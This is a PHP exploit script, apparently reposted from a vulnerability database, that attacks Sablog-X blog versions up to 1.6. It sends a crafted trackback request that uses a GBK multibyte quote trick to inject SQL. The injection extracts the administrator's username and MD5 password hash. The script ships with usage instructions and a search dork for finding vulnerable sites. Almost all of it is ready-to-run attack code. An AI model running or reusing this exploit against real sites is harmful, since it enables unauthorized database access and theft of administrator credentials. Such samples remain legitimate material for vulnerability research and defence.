#!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
Sablog-X <= 1.6 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by SaBlog-X"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path code
host: target server (ip/hostname)
path: path to sablog-x
code: the last blog trackback gbk code
Example:
php '.$argv[0].' localhost /sablog-x/ MQlnYmsJMTIxNzkyMzE0OAkw
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$code = $argv[3];
$arr = explode("\t", base64_decode($code));
if (count($arr) != 4)
exit("Exploit Failed!\n");
$url = 'http://'.$host.$path.'?action=show&id='.$arr[0];
send();
preg_match('#<a\shref="1"\starget="_blank">([\S]+):([a-z0-9]{32})</a>#', file_get_contents($url), $hash);
if ($hash)
exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else
exit("Exploit Failed!\n");
function send()
{
global $host, $path, $code;
$cmd = 'url=http://'.$host.$path.'&title=ryat%bf%27,'.time().',1,1,(SELECT CONCAT(username,0x3a,password) FROM sablog_users WHERE userid=1),'.time().',1,1)#&excerpt=ryat&blog_name=ryat';
$message = "POST ".$path."trackback.php?code=$code HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation